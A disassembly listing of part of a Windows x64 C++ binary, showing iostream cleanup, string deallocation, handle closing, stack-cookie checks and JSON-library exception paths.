movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x70], rax
mov rax, qword [rsp + 0x70]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rsp + rcx + 0x6c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x18], rax
lea rcx, [rbp + 0x18]
call fcn.140116ac4
nop
mov rdx, qword [rbp + 0x178]
cmp rdx, 0xf
jbe 0x140036036
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036031
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003623c
call fcn.140117d3c
movdqa xmm0, xmmword [0x1408d3b70]
movdqu xmmword [rbp + 0x170], xmm0
mov byte [rbp + 0x160], 0
mov rcx, qword [rbp + 0x1d0]
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140036068
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x1d0], 0xffffffffffffffff
mov rdx, qword [rbp + 0x1c8]
cmp rdx, 7
jbe 0x1400360c1
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400360bc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140036242
call fcn.140117d3c
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.140117aa0
lea r11, [rsp + 0x530]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x150]
call fcn.14003bb60
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140012130
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x130]
call fcn.14003c6c0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0x90]
call fcn.140021910
lea rdx, [0x1408ecb78]
lea rcx, [rbp + 0x90]
call fcn.14011a190
nop
lea rcx, [rbp + 0x150]
call fcn.14003bb60
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140012130
nop
mov r8, rax
lea rdx, str.cannot_use_operator___with_a_string_argument_with
lea rcx, [rbp + 0x130]
call fcn.14003c6c0
nop
mov r8, rax
mov edx, 0x131
lea rcx, [rbp + 0xd0]
call fcn.140021910
lea rdx, [0x1408ecb78]
lea rcx, [rbp + 0xd0]
call fcn.14011a190
nop
call fcn.140127908
nop
call fcn.140127908
nop
call fcn.140127908
nop
call fcn.140127908
nop
call fcn.140127908
nop
call fcn.140127908
nop
test dl, 2
lea rbx, [0x14017f7c8]
lea rax, [0x14017f7f8]
cmove rbx, rax
mov edx, 1
lea rcx, [rbp + 0x2b0]
call fcn.140014e30
mov r8, rax
mov rdx, rbx
lea rcx, [rsp + 0x40]
call fcn.140015620
lea rdx, [0x1408ec688]
lea rcx, [rsp + 0x40]
call fcn.14011a190
nop
call fcn.140010960
nop
call fcn.140127908
nop
call fcn.140127908
nop
call fcn.140127908
int3
call fcn.140127908
int3
call fcn.140127908
nop
call fcn.140127908
nop
call fcn.140127908
int3